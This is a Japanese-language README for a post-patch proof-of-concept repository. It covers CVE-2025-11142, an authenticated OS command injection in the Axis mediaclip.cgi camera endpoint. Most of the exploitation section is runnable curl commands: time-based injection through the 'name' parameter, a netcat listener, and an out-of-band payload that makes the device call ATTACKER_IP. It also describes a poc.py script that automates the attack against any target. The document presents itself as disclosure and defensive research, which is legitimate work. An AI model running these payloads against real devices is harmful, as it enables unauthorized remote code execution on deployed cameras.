CVE-2025-11142 — AXIS mediaclip.cgi OSコマンドインジェクション

n-day調査レポート＆PoC — CVSS 7.1のOSコマンドインジェクション脆弱性（AXIS VAPIX Media Clip API）に対するパッチ適用後の技術分析。Axisデバイスに対するブラックボックステストを通じて独自に再発見・検証されたものです。

Axisの公式アドバイザリは、技術的な悪用手法の詳細や公開PoCを公開していません（「Axisは脆弱性に関するより詳細な情報を提供しない」、「アドバイザリ公開時点で公知のエクスプロイトは存在しない」）。このリポジトリは、ベンダーの修正（AXIS OS 12.7.36）が一般公開された後にのみ公開された、独自に再現・証拠に基づく確認を文書化したものです。開示のタイムラインを参照してください。

概要

脆弱性

/axis-cgi/mediaclip.cgi VAPIXエンドポイントは、action=updateリクエストとフリーテキストのnameパラメータ（クリップの表示名）を受け入れます。ブラックボックステストにより、この値がサニタイズされずにデバイス上のシェル呼び出しに渡されることが示されています — おそらくメディアクリップサブシステムの内部的なファイル名変更/処理ステップの一部として使用されます。

正確なサーバーサイドのコードパスを説明する公開技術レポートは存在しません（Axisは公開していません）。したがって、以下の根本原因はソースコードのレビューではなく、ブラックボックスの挙動から推測されたものです。

脆弱性の証明

すべてのリクエストはHTTP Digest認証を使用します（デバイスはBasic認証を拒否します）。TARGET、USER、PASSを自分のラボデバイスの値に置き換えてください — 所有していない、またはテストする許可がないデバイスに対してサンプルの認証情報を使用しないでください。

1. 前提条件 — クリップスロット0が存在することを確認

updateアクションには既存のクリップが必要です。クリップ0がまだ存在しない場合は、まず小さな無害なプレースホルダーをアップロードします：

curl -s --digest -u "$USER:$PASS" --anyauth \
  -X POST "http://$TARGET/axis-cgi/mediaclip.cgi?action=upload&media=audio&name=testclip" \
  -F "[email protected];type=audio/wav"

poc.wavには任意の小さな有効なWAVファイルで十分です（最小限のRIFF/WAVEヘッダーで足ります）。

2. 時間ベースのブラインド確認

# ベースライン / コントロール — インジェクション遅延なし
curl -s --digest -u "$USER:$PASS" --anyauth -w "\n[HTTP:%{http_code} TIME:%{time_total}s]" -G \
  "http://$TARGET/axis-cgi/mediaclip.cgi" \
  --data-urlencode "action=update" \
  --data-urlencode "clip=0" \
  --data-urlencode "name=test;sleep 0;"

# 8秒のインジェクション遅延
curl -s --digest -u "$USER:$PASS" --anyauth -w "\n[HTTP:%{http_code} TIME:%{time_total}s]" -G \
  "http://$TARGET/axis-cgi/mediaclip.cgi" \
  --data-urlencode "action=update" \
  --data-urlencode "clip=0" \
  --data-urlencode "name=test;sleep 8;"

応答時間がインジェクションされたsleepの時間に追従する場合（約0.3秒のベースラインではなく）、シェルがname値全体を実行しており、単なる不活性な文字列として扱っていないことが確認されます。これは、複数の独立してスケーリングされた遅延（0秒/3秒/6秒/8秒）と複数のインジェクション構文（;、&&、バッククォート、$(...)）で検証され、偶然ではないことを確認しました。

3. 帯域外ネットワークコールバック（最も強力な証明）

HTTP応答ボディはコマンド出力をエコーしないため（ペイロードに関係なくOK/Updating=0）、最も説得力のある確認方法は、デバイス自身のアウトバウンドネットワーク機能を使用することです。攻撃者が制御するホストでリスナーを起動し、インジェクションされたコマンドがそこにコールバックするようにします：

# 攻撃者ホスト上で：
nc -lvnp 4444

# インジェクションペイロード：
curl -s --digest -u "$USER:$PASS" --anyauth -G "http://$TARGET/axis-cgi/mediaclip.cgi" \
  --data-urlencode "action=update" \
  --data-urlencode "clip=0" \
  --data-urlencode "name=test;curl http://ATTACKER_IP:4444/rce_confirmed;"

ターゲットデバイスのIPアドレスからの本物のインバウンドHTTPリクエスト（curlのUser-Agent文字列を含む）は、リモートコード実行の明白な証明です — このリクエストは、デバイス上で実際に実行されたコマンドからのみ発生し得ます。

4. クリーンアップ

curl -s --digest -u "$USER:$PASS" --anyauth "http://$TARGET/axis-cgi/mediaclip.cgi?action=remove&clip=0"

poc.py

poc.pyを参照してください。コマンドラインで指定したターゲットに対して手順1〜4を自動化する自己完結型スクリプトです。

usage: poc.py --target 192.168.1.100 --user admin --pass admin --callback-ip 192.168.1.50 [--callback-port 4444]

影響

• 確認済み：認証後の非rootサービスアカウントとしての任意のコマンド実行。
• 未確認（この調査の範囲外）：サービスアカウントからrootへのローカル権限昇格。受動的な列挙以外に、SUIDバイナリやさらなる権限昇格経路の調査は行っていません。
• 実際の環境でこの発見を増幅させる現実的なリスク要因：Axisデバイスはデフォルトまたは弱い管理者認証情報で展開されることが多く、クライアントサイドのSPA全体（このエンドポイントを含むVAPIX APIサーフェスを完全にマッピングするもの）が認証なしで提供されているため、脆弱なエンドポイントが簡単に発見可能になっています。

開示のタイムライン

• CVE-2025-11142が公開され、Axisによってベンダーアドバイザリが公開されました（日付はNVD/ベンダー記録による — 上記のリンクを参照）。
• このリポジトリの公開前に、ベンダーの修正がAXIS OS 12.7.36（アクティブトラック）で利用可能になりました。
• このリポジトリは、修正が一般公開された後に、防御/検知目的で脆弱性の挙動を独自に再現・文書化したn-day（パッチ適用後）調査レポートとして公開されています。CVE割り当てで既に開示されている内容（mediaclip.cgiのCWE-78コマンドインジェクション）を超える0-dayの詳細は、Axisがまだ確認していないものはここでは開示されていません。

責任ある使用

このコードは、認可されたセキュリティテスト、セキュリティ研究、および防御目的（例：自社の機器群がパッチ適用済みかどうかの確認、検知シグネチャの構築）のみを目的として提供されています。所有していない、または明示的な書面によるテスト許可がないデバイスに対して使用しないでください。著者は誤用に対する責任を負いません。

ライセンス

MIT — LICENSEを参照してください。